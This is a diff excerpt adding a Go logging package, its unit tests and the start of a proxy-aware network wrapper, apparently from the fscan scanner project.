StartTime time.Time `json:"start_time"`
|
||||
LevelColors map[LogLevel]interface{} `json:"-"`
|
||||
DebugLogFile string `json:"debug_log_file"`
|
||||
}
|
||||
|
||||
// DefaultLoggerConfig 默认日志器配置
|
||||
func DefaultLoggerConfig() *LoggerConfig {
|
||||
return &LoggerConfig{
|
||||
Level: DefaultLevel,
|
||||
EnableColor: DefaultEnableColor,
|
||||
SlowOutput: DefaultSlowOutput,
|
||||
ShowProgress: DefaultShowProgress,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
}
|
||||
|
||||
// Logger 简化的日志管理器
|
||||
type Logger struct {
|
||||
mu sync.RWMutex
|
||||
config *LoggerConfig
|
||||
startTime time.Time
|
||||
coordinatedOutput func(string)
|
||||
initialized bool
|
||||
debugFile *os.File
|
||||
}
|
||||
|
||||
// NewLogger 创建新的日志管理器
|
||||
func NewLogger(config *LoggerConfig) *Logger {
|
||||
if config == nil {
|
||||
config = DefaultLoggerConfig()
|
||||
}
|
||||
|
||||
l := &Logger{
|
||||
config: config,
|
||||
startTime: config.StartTime,
|
||||
initialized: true,
|
||||
}
|
||||
|
||||
if config.DebugLogFile != "" {
|
||||
f, err := os.OpenFile(config.DebugLogFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
|
||||
if err == nil {
|
||||
l.debugFile = f
|
||||
}
|
||||
}
|
||||
|
||||
return l
|
||||
}
|
||||
|
||||
// Initialize 初始化日志器
|
||||
func (l *Logger) Initialize() {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
l.initialized = true
|
||||
}
|
||||
|
||||
// SetCoordinatedOutput 设置协调输出函数
|
||||
func (l *Logger) SetCoordinatedOutput(outputFunc func(string)) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
l.coordinatedOutput = outputFunc
|
||||
}
|
||||
|
||||
// Debug 输出调试信息
|
||||
func (l *Logger) Debug(msg string) {
|
||||
l.log(LevelDebug, msg)
|
||||
}
|
||||
|
||||
// Base 输出基础信息
|
||||
func (l *Logger) Base(msg string) {
|
||||
l.log(LevelBase, msg)
|
||||
}
|
||||
|
||||
// Info 输出信息
|
||||
func (l *Logger) Info(msg string) {
|
||||
l.log(LevelInfo, msg)
|
||||
}
|
||||
|
||||
// Success 输出成功信息
|
||||
func (l *Logger) Success(msg string) {
|
||||
l.log(LevelSuccess, msg)
|
||||
}
|
||||
|
||||
// Vuln 输出漏洞/重要发现信息
|
||||
func (l *Logger) Vuln(msg string) {
|
||||
l.log(LevelVuln, msg)
|
||||
}
|
||||
|
||||
// Error 输出错误信息
|
||||
func (l *Logger) Error(msg string) {
|
||||
l.log(LevelError, msg)
|
||||
}
|
||||
|
||||
// log 内部日志处理方法
|
||||
func (l *Logger) log(level LogLevel, content string) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
if l.config.Silent {
|
||||
return
|
||||
}
|
||||
|
||||
if !l.shouldLog(level) {
|
||||
return
|
||||
}
|
||||
|
||||
// 格式化消息:保留前缀,去掉时间戳
|
||||
prefix := l.getLevelPrefix(level)
|
||||
|
||||
// 处理多行内容:给每行加上前缀,然后作为一个整体输出
|
||||
if strings.Contains(content, "\n") {
|
||||
lines := strings.Split(content, "\n")
|
||||
var formattedLines []string
|
||||
for _, line := range lines {
|
||||
if line != "" {
|
||||
formattedLines = append(formattedLines, fmt.Sprintf("%s %s", prefix, line))
|
||||
}
|
||||
}
|
||||
logMsg := strings.Join(formattedLines, "\n")
|
||||
l.outputMessage(level, logMsg)
|
||||
} else {
|
||||
logMsg := fmt.Sprintf("%s %s", prefix, content)
|
||||
l.outputMessage(level, logMsg)
|
||||
}
|
||||
|
||||
// 写入debug日志文件(纯文本,无颜色)
|
||||
if l.debugFile != nil {
|
||||
timestamp := time.Since(l.startTime).Truncate(time.Millisecond)
|
||||
if strings.Contains(content, "\n") {
|
||||
lines := strings.Split(content, "\n")
|
||||
for _, line := range lines {
|
||||
if line != "" {
|
||||
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, line)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, content)
|
||||
}
|
||||
}
|
||||
|
||||
// 根据慢速输出设置决定是否添加延迟
|
||||
if l.config.SlowOutput {
|
||||
time.Sleep(SlowOutputDelay)
|
||||
}
|
||||
}
|
||||
|
||||
// Close 关闭日志器,释放文件资源
|
||||
func (l *Logger) Close() {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.debugFile != nil {
|
||||
_ = l.debugFile.Close()
|
||||
l.debugFile = nil
|
||||
}
|
||||
}
|
||||
|
||||
// shouldLog 检查是否应该记录该级别的日志
|
||||
// 层级过滤:消息级别 >= 配置级别 时显示,Error 始终显示
|
||||
func (l *Logger) shouldLog(level LogLevel) bool {
|
||||
// Error 级别始终显示
|
||||
if level == LevelError {
|
||||
return true
|
||||
}
|
||||
// 层级过滤:消息级别 >= 配置级别
|
||||
return level >= l.config.Level
|
||||
}
|
||||
|
||||
// outputMessage 输出消息
|
||||
func (l *Logger) outputMessage(level LogLevel, logMsg string) {
|
||||
if l.coordinatedOutput != nil {
|
||||
// 使用协调输出(与进度条配合)
|
||||
if l.config.EnableColor {
|
||||
if colorAttr, ok := l.config.LevelColors[level]; ok {
|
||||
if attr, ok := colorAttr.(color.Attribute); ok {
|
||||
coloredMsg := color.New(attr).Sprint(logMsg)
|
||||
l.coordinatedOutput(coloredMsg)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
l.coordinatedOutput(logMsg)
|
||||
} else {
|
||||
// 直接输出
|
||||
if l.config.EnableColor {
|
||||
if colorAttr, ok := l.config.LevelColors[level]; ok {
|
||||
if attr, ok := colorAttr.(color.Attribute); ok {
|
||||
_, _ = color.New(attr).Println(logMsg)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
fmt.Println(logMsg)
|
||||
}
|
||||
}
|
||||
|
||||
// formatElapsedTime 格式化经过的时间
|
||||
func (l *Logger) formatElapsedTime(elapsed time.Duration) string {
|
||||
switch {
|
||||
case elapsed < MaxMillisecondDisplay:
|
||||
return fmt.Sprintf("%dms", elapsed.Milliseconds())
|
||||
case elapsed < MaxSecondDisplay:
|
||||
return fmt.Sprintf("%.1fs", elapsed.Seconds())
|
||||
case elapsed < MaxMinuteDisplay:
|
||||
minutes := int(elapsed.Minutes())
|
||||
seconds := int(elapsed.Seconds()) % 60
|
||||
return fmt.Sprintf("%dm%ds", minutes, seconds)
|
||||
default:
|
||||
hours := int(elapsed.Hours())
|
||||
minutes := int(elapsed.Minutes()) % 60
|
||||
seconds := int(elapsed.Seconds()) % 60
|
||||
return fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
|
||||
}
|
||||
}
|
||||
|
||||
// getLevelPrefix 获取日志级别前缀
|
||||
func (l *Logger) getLevelPrefix(level LogLevel) string {
|
||||
switch level {
|
||||
case LevelDebug:
|
||||
return PrefixDebug
|
||||
case LevelInfo:
|
||||
return PrefixInfo
|
||||
case LevelSuccess:
|
||||
return PrefixSuccess
|
||||
case LevelVuln:
|
||||
return PrefixVuln
|
||||
case LevelError:
|
||||
return PrefixError
|
||||
default:
|
||||
return PrefixInfo // 默认使用 Info 前缀
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,692 @@
|
||||
package logging
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
/*
|
||||
logger_test.go - 日志系统测试
|
||||
|
||||
测试目标:Logger核心功能
|
||||
价值:日志是程序的眼睛,错误会导致:
|
||||
- 关键信息丢失(用户看不到错误)
|
||||
- 性能问题(并发日志混乱)
|
||||
- 调试困难(时间格式错误)
|
||||
|
||||
"日志不是可选功能。日志丢失或错误,等于程序在撒谎。
|
||||
测试必须验证:过滤正确、格式正确、并发安全。"
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 测试辅助函数
|
||||
// =============================================================================
|
||||
|
||||
// captureOutput 捕获日志输出(不污染控制台)
|
||||
type captureOutput struct {
|
||||
mu sync.Mutex
|
||||
output []string
|
||||
}
|
||||
|
||||
func (c *captureOutput) Write(msg string) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
c.output = append(c.output, msg)
|
||||
}
|
||||
|
||||
func (c *captureOutput) Get() []string {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
result := make([]string, len(c.output))
|
||||
copy(result, c.output)
|
||||
return result
|
||||
}
|
||||
|
||||
func (c *captureOutput) Clear() {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
c.output = nil
|
||||
}
|
||||
|
||||
// createTestLogger 创建测试用Logger(捕获输出)
|
||||
func createTestLogger(level LogLevel, enableColor bool) (*Logger, *captureOutput) {
|
||||
capture := &captureOutput{}
|
||||
config := &LoggerConfig{
|
||||
Level: level,
|
||||
EnableColor: enableColor,
|
||||
SlowOutput: false, // 测试时禁用慢速输出
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
logger := NewLogger(config)
|
||||
logger.SetCoordinatedOutput(capture.Write)
|
||||
return logger, capture
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 基础功能测试
|
||||
// =============================================================================
|
||||
|
||||
// TestNewLogger_DefaultConfig 测试默认配置
|
||||
func TestNewLogger_DefaultConfig(t *testing.T) {
|
||||
// nil配置应该使用默认值
|
||||
logger := NewLogger(nil)
|
||||
|
||||
if logger == nil {
|
||||
t.Fatal("NewLogger(nil) 应该返回有效的logger")
|
||||
}
|
||||
|
||||
if logger.config == nil {
|
||||
t.Error("config不应为nil(应使用默认配置)")
|
||||
}
|
||||
|
||||
if logger.config.Level != DefaultLevel {
|
||||
t.Errorf("默认Level = %v, want %v", logger.config.Level, DefaultLevel)
|
||||
}
|
||||
|
||||
if !logger.initialized {
|
||||
t.Error("logger应该已初始化")
|
||||
}
|
||||
|
||||
t.Logf("✓ 默认配置测试通过")
|
||||
}
|
||||
|
||||
// TestNewLogger_CustomConfig 测试自定义配置
|
||||
func TestNewLogger_CustomConfig(t *testing.T) {
|
||||
config := &LoggerConfig{
|
||||
Level: LevelError,
|
||||
EnableColor: false,
|
||||
SlowOutput: true,
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
|
||||
logger := NewLogger(config)
|
||||
|
||||
if logger.config.Level != LevelError {
|
||||
t.Errorf("Level = %v, want %v", logger.config.Level, LevelError)
|
||||
}
|
||||
|
||||
if logger.config.EnableColor {
|
||||
t.Error("EnableColor应该为false")
|
||||
}
|
||||
|
||||
t.Logf("✓ 自定义配置测试通过")
|
||||
}
|
||||
|
||||
// TestLogger_AllLevels 测试所有日志级别
|
||||
//
|
||||
// 验证:每个级别都能正确输出
|
||||
func TestLogger_AllLevels(t *testing.T) {
|
||||
logger, capture := createTestLogger(LevelAll, false)
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
logFunc func(string)
|
||||
message string
|
||||
wantMsg string
|
||||
wantPfx string
|
||||
}{
|
||||
{
|
||||
name: "Debug级别",
|
||||
logFunc: logger.Debug,
|
||||
message: "debug message",
|
||||
wantMsg: "debug message",
|
||||
wantPfx: PrefixDebug,
|
||||
},
|
||||
{
|
||||
name: "Base级别",
|
||||
logFunc: logger.Base,
|
||||
message: "base message",
|
||||
wantMsg: "base message",
|
||||
wantPfx: PrefixInfo, // Base 已废弃,默认使用 Info 前缀
|
||||
},
|
||||
{
|
||||
name: "Info级别",
|
||||
logFunc: logger.Info,
|
||||
message: "info message",
|
||||
wantMsg: "info message",
|
||||
wantPfx: PrefixInfo,
|
||||
},
|
||||
{
|
||||
name: "Success级别",
|
||||
logFunc: logger.Success,
|
||||
message: "success message",
|
||||
wantMsg: "success message",
|
||||
wantPfx: PrefixSuccess,
|
||||
},
|
||||
{
|
||||
name: "Vuln级别",
|
||||
logFunc: logger.Vuln,
|
||||
message: "vuln message",
|
||||
wantMsg: "vuln message",
|
||||
wantPfx: PrefixVuln,
|
||||
},
|
||||
{
|
||||
name: "Error级别",
|
||||
logFunc: logger.Error,
|
||||
message: "error message",
|
||||
wantMsg: "error message",
|
||||
wantPfx: PrefixError,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
capture.Clear()
|
||||
tt.logFunc(tt.message)
|
||||
|
||||
output := capture.Get()
|
||||
if len(output) != 1 {
|
||||
t.Fatalf("期望1条输出,实际%d条", len(output))
|
||||
}
|
||||
|
||||
msg := output[0]
|
||||
if !strings.Contains(msg, tt.wantMsg) {
|
||||
t.Errorf("输出缺少消息: %s\n实际: %s", tt.wantMsg, msg)
|
||||
}
|
||||
|
||||
if !strings.Contains(msg, tt.wantPfx) {
|
||||
t.Errorf("输出缺少前缀: %s\n实际: %s", tt.wantPfx, msg)
|
||||
}
|
||||
|
||||
// 验证输出格式:前缀 + 空格 + 消息
|
||||
if !strings.HasPrefix(msg, tt.wantPfx) {
|
||||
t.Errorf("输出应该以前缀开头: %s\n实际: %s", tt.wantPfx, msg)
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 输出正确: %s", tt.name, msg)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 级别过滤测试
|
||||
// =============================================================================
|
||||
|
||||
// TestLogger_LevelFiltering 测试日志级别过滤
|
||||
//
|
||||
// 验证:不同级别配置下,只输出对应级别的日志
|
||||
func TestLogger_LevelFiltering(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
configLevel LogLevel
|
||||
logLevels map[string]func(*Logger, string)
|
||||
wantOutput map[string]bool // true表示应该输出
|
||||
}{
|
||||
{
|
||||
name: "LevelAll - 显示所有",
|
||||
configLevel: LevelAll,
|
||||
logLevels: map[string]func(*Logger, string){
|
||||
"debug": (*Logger).Debug,
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
"error": (*Logger).Error,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"debug": true, "base": true, "info": true,
|
||||
"success": true, "error": true,
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelError - 仅错误",
|
||||
configLevel: LevelError,
|
||||
logLevels: map[string]func(*Logger, string){
|
||||
"info": (*Logger).Info,
|
||||
"error": (*Logger).Error,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"info": false, "error": true,
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelInfoSuccess - 信息和成功",
|
||||
configLevel: LevelInfoSuccess,
|
||||
logLevels: map[string]func(*Logger, string){
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
"error": (*Logger).Error,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"base": false, "info": true,
|
||||
"success": true, "error": true, // Error 始终显示(层级设计)
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelBaseInfoSuccess - 基础、信息和成功",
|
||||
configLevel: LevelBaseInfoSuccess,
|
||||
logLevels: map[string]func(*Logger, string){
|
||||
"debug": (*Logger).Debug,
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"debug": false, "base": true,
|
||||
"info": true, "success": true,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
logger, capture := createTestLogger(tt.configLevel, false)
|
||||
|
||||
for levelName, logFunc := range tt.logLevels {
|
||||
capture.Clear()
|
||||
logFunc(logger, levelName+" message")
|
||||
|
||||
output := capture.Get()
|
||||
shouldOutput := tt.wantOutput[levelName]
|
||||
|
||||
if shouldOutput && len(output) == 0 {
|
||||
t.Errorf("%s: 应该输出但没有输出", levelName)
|
||||
}
|
||||
if !shouldOutput && len(output) > 0 {
|
||||
t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 过滤测试通过", tt.name)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 时间格式化测试
|
||||
// =============================================================================
|
||||
|
||||
// TestLogger_TimeFormatting 测试时间格式化函数
|
||||
//
|
||||
// 验证:formatElapsedTime 对不同时长格式化正确(毫秒、秒、分钟、小时)
|
||||
func TestLogger_TimeFormatting(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
elapsed time.Duration
|
||||
wantStr string
|
||||
}{
|
||||
{
|
||||
name: "0毫秒",
|
||||
elapsed: 0,
|
||||
wantStr: "0ms",
|
||||
},
|
||||
{
|
||||
name: "500毫秒",
|
||||
elapsed: 500 * time.Millisecond,
|
||||
wantStr: "500ms",
|
||||
},
|
||||
{
|
||||
name: "999毫秒",
|
||||
elapsed: 999 * time.Millisecond,
|
||||
wantStr: "999ms",
|
||||
},
|
||||
{
|
||||
name: "1秒",
|
||||
elapsed: 1 * time.Second,
|
||||
wantStr: "1.0s",
|
||||
},
|
||||
{
|
||||
name: "30秒",
|
||||
elapsed: 30 * time.Second,
|
||||
wantStr: "30.0s",
|
||||
},
|
||||
{
|
||||
name: "59秒",
|
||||
elapsed: 59 * time.Second,
|
||||
wantStr: "59.0s",
|
||||
},
|
||||
{
|
||||
name: "1分钟",
|
||||
elapsed: 1 * time.Minute,
|
||||
wantStr: "1m0s",
|
||||
},
|
||||
{
|
||||
name: "5分30秒",
|
||||
elapsed: 5*time.Minute + 30*time.Second,
|
||||
wantStr: "5m30s",
|
||||
},
|
||||
{
|
||||
name: "59分59秒",
|
||||
elapsed: 59*time.Minute + 59*time.Second,
|
||||
wantStr: "59m59s",
|
||||
},
|
||||
{
|
||||
name: "1小时",
|
||||
elapsed: 1 * time.Hour,
|
||||
wantStr: "1h0m0s",
|
||||
},
|
||||
{
|
||||
name: "2小时30分45秒",
|
||||
elapsed: 2*time.Hour + 30*time.Minute + 45*time.Second,
|
||||
wantStr: "2h30m45s",
|
||||
},
|
||||
}
|
||||
|
||||
// 直接测试 formatElapsedTime 函数
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
logger := NewLogger(nil)
|
||||
result := logger.formatElapsedTime(tt.elapsed)
|
||||
|
||||
if result != tt.wantStr {
|
||||
t.Errorf("时间格式错误\n期望: %s\n实际: %s", tt.wantStr, result)
|
||||
}
|
||||
|
||||
t.Logf("✓ %s → %s", tt.name, result)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 并发安全测试
|
||||
// =============================================================================
|
||||
|
||||
// TestLogger_ConcurrentLogging 测试并发日志输出
|
||||
//
|
||||
// 验证:多个goroutine同时写日志不会panic或丢失
|
||||
func TestLogger_ConcurrentLogging(t *testing.T) {
|
||||
logger, capture := createTestLogger(LevelAll, false)
|
||||
|
||||
numGoroutines := 100
|
||||
logsPerGoroutine := 10
|
||||
totalLogs := numGoroutines * logsPerGoroutine
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(numGoroutines)
|
||||
|
||||
// 并发写入不同级别的日志
|
||||
for i := 0; i < numGoroutines; i++ {
|
||||
go func(id int) {
|
||||
defer wg.Done()
|
||||
|
||||
for j := 0; j < logsPerGoroutine; j++ {
|
||||
msg := fmt.Sprintf("goroutine-%d-log-%d", id, j)
|
||||
|
||||
// 随机使用不同级别
|
||||
switch j % 5 {
|
||||
case 0:
|
||||
logger.Debug(msg)
|
||||
case 1:
|
||||
logger.Info(msg)
|
||||
case 2:
|
||||
logger.Success(msg)
|
||||
case 3:
|
||||
logger.Error(msg)
|
||||
case 4:
|
||||
logger.Base(msg)
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
// 验证输出数量
|
||||
output := capture.Get()
|
||||
if len(output) != totalLogs {
|
||||
t.Errorf("期望%d条日志,实际%d条(数据丢失或重复)",
|
||||
totalLogs, len(output))
|
||||
}
|
||||
|
||||
// 验证每条日志格式正确(前缀可能是 "[" 或空格)
|
||||
for i, line := range output {
|
||||
if !strings.HasPrefix(line, "[") && !strings.HasPrefix(line, " ") {
|
||||
t.Errorf("第%d条日志格式错误: %s", i+1, line)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ 并发日志测试通过(%d个goroutine,共%d条日志)",
|
||||
numGoroutines, totalLogs)
|
||||
}
|
||||
|
||||
// TestLogger_NoCoordinatedOutput 测试无协调输出的情况
|
||||
//
|
||||
// 验证:coordinatedOutput为nil时,使用fmt.Println(不会panic)
|
||||
func TestLogger_NoCoordinatedOutput(t *testing.T) {
|
||||
config := &LoggerConfig{
|
||||
Level: LevelAll,
|
||||
EnableColor: false,
|
||||
StartTime: time.Now(),
|
||||
}
|
||||
logger := NewLogger(config)
|
||||
// 不设置 coordinatedOutput
|
||||
|
||||
// 应该不会panic(会使用fmt.Println)
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Errorf("不应该panic: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
logger.Info("test message")
|
||||
|
||||
t.Logf("✓ 无协调输出测试通过(使用fmt.Println)")
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 高级功能测试(提升覆盖率)
|
||||
// =============================================================================
|
||||
|
||||
// TestLogger_SingleLevels 测试单独级别配置
|
||||
//
|
||||
// 验证:层级过滤 - 设置一个级别后,显示该级别及以上的日志,Error始终显示
|
||||
func TestLogger_SingleLevels(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
configLevel LogLevel
|
||||
testLevels map[string]func(*Logger, string)
|
||||
wantOutput map[string]bool
|
||||
}{
|
||||
{
|
||||
name: "LevelDebug - 显示所有",
|
||||
configLevel: LevelDebug,
|
||||
testLevels: map[string]func(*Logger, string){
|
||||
"debug": (*Logger).Debug,
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
"error": (*Logger).Error,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"debug": true, "base": true, "info": true,
|
||||
"success": true, "error": true, // 层级过滤:Debug(0)及以上全显示
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelBase - 基础及以上",
|
||||
configLevel: LevelBase,
|
||||
testLevels: map[string]func(*Logger, string){
|
||||
"debug": (*Logger).Debug,
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"debug": false, "base": true, "info": true, // 层级过滤:Base(1)及以上
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelInfo - 信息及以上",
|
||||
configLevel: LevelInfo,
|
||||
testLevels: map[string]func(*Logger, string){
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"base": false, "info": true, // 层级过滤:Info(2)及以上
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelSuccess - 成功及以上",
|
||||
configLevel: LevelSuccess,
|
||||
testLevels: map[string]func(*Logger, string){
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"info": false, "success": true, // 层级过滤:Success(3)及以上
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
logger, capture := createTestLogger(tt.configLevel, false)
|
||||
|
||||
for levelName, logFunc := range tt.testLevels {
|
||||
capture.Clear()
|
||||
logFunc(logger, levelName+" message")
|
||||
|
||||
output := capture.Get()
|
||||
shouldOutput := tt.wantOutput[levelName]
|
||||
|
||||
if shouldOutput && len(output) == 0 {
|
||||
t.Errorf("%s: 应该输出但没有输出", levelName)
|
||||
}
|
||||
if !shouldOutput && len(output) > 0 {
|
||||
t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 测试通过", tt.name)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestLogger_ColorOutput 测试颜色输出
|
||||
//
|
||||
// 验证:EnableColor开关正确控制颜色输出
|
||||
func TestLogger_ColorOutput(t *testing.T) {
|
||||
t.Run("禁用颜色", func(t *testing.T) {
|
||||
logger, capture := createTestLogger(LevelAll, false)
|
||||
logger.Info("test")
|
||||
|
||||
output := capture.Get()
|
||||
if len(output) == 0 {
|
||||
t.Fatal("应该有输出")
|
||||
}
|
||||
|
||||
// 无颜色时,输出就是纯文本
|
||||
if strings.Contains(output[0], "\033[") {
|
||||
t.Error("禁用颜色时不应该包含ANSI转义序列")
|
||||
}
|
||||
|
||||
t.Logf("✓ 禁用颜色测试通过")
|
||||
})
|
||||
|
||||
t.Run("启用颜色", func(t *testing.T) {
|
||||
logger, capture := createTestLogger(LevelAll, true)
|
||||
logger.Info("test")
|
||||
|
||||
output := capture.Get()
|
||||
if len(output) == 0 {
|
||||
t.Fatal("应该有输出")
|
||||
}
|
||||
|
||||
// 启用颜色时,输出可能包含颜色(取决于终端支持)
|
||||
// 但不会panic
|
||||
t.Logf("✓ 启用颜色测试通过: %s", output[0])
|
||||
})
|
||||
}
|
||||
|
||||
// TestLogger_BackwardCompatibility 测试向后兼容性
|
||||
//
|
||||
// 验证:LevelAll 等同于 LevelDebug,显示所有级别
|
||||
func TestLogger_BackwardCompatibility(t *testing.T) {
|
||||
config := &LoggerConfig{
|
||||
Level: LevelAll, // LevelAll 是 LevelDebug 的别名
|
||||
EnableColor: false,
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
logger := NewLogger(config)
|
||||
capture := &captureOutput{}
|
||||
logger.SetCoordinatedOutput(capture.Write)
|
||||
|
||||
// LevelAll 应该显示所有级别
|
||||
logger.Debug("debug msg")
|
||||
logger.Info("info msg")
|
||||
logger.Error("error msg")
|
||||
|
||||
output := capture.Get()
|
||||
if len(output) != 3 {
|
||||
t.Errorf("LevelAll应该显示所有级别,期望3条,实际%d条", len(output))
|
||||
}
|
||||
|
||||
t.Logf("✓ 向后兼容测试通过(LevelAll显示所有级别)")
|
||||
}
|
||||
|
||||
// TestLogger_Initialize 测试初始化标记
|
||||
//
|
||||
// 验证:Initialize方法正确设置initialized标志
|
||||
func TestLogger_Initialize(t *testing.T) {
|
||||
config := &LoggerConfig{
|
||||
Level: LevelAll,
|
||||
EnableColor: false,
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
|
||||
// 手动创建logger,跳过NewLogger中的自动初始化
|
||||
logger := &Logger{
|
||||
config: config,
|
||||
initialized: false, // 明确设置为false
|
||||
}
|
||||
|
||||
// 验证初始状态
|
||||
if logger.initialized {
|
||||
t.Error("新创建的logger不应该已初始化")
|
||||
}
|
||||
|
||||
// 调用Initialize
|
||||
logger.Initialize()
|
||||
|
||||
// 验证已初始化
|
||||
if !logger.initialized {
|
||||
t.Error("调用Initialize后应该已初始化")
|
||||
}
|
||||
|
||||
t.Logf("✓ Initialize测试通过")
|
||||
}
|
||||
|
||||
func TestLogger_CloseClosesDebugFile(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "debug.log")
|
||||
logger := NewLogger(&LoggerConfig{
|
||||
Level: LevelAll,
|
||||
EnableColor: false,
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
DebugLogFile: path,
|
||||
})
|
||||
if logger.debugFile == nil {
|
||||
t.Fatal("debug file should be opened")
|
||||
}
|
||||
|
||||
logger.Info("debug file line")
|
||||
logger.Close()
|
||||
if logger.debugFile != nil {
|
||||
t.Fatal("debug file should be nil after Close")
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatalf("read debug file: %v", err)
|
||||
}
|
||||
if !strings.Contains(string(content), "debug file line") {
|
||||
t.Fatalf("debug file content = %q", string(content))
|
||||
}
|
||||
|
||||
logger.Close()
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
package common
|
||||
|
||||
/*
|
||||
network.go - 统一网络操作包装器
|
||||
|
||||
提供便捷的网络连接API,自动处理发包限制检查、代理和统计。
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/common/proxy"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 全局代理管理器(复用连接,避免重复创建)
|
||||
// =============================================================================
|
||||
|
||||
var (
|
||||
globalProxyOnce sync.Once
|
||||
globalProxyDialer proxy.Dialer
|
||||
globalProxyInitErr error
|
||||
)
|
||||
|
||||
// getGlobalDialer 获取全局拨号器(线程安全,只初始化一次)
|
||||
func getGlobalDialer(timeout time.Duration) (proxy.Dialer, error) {
|
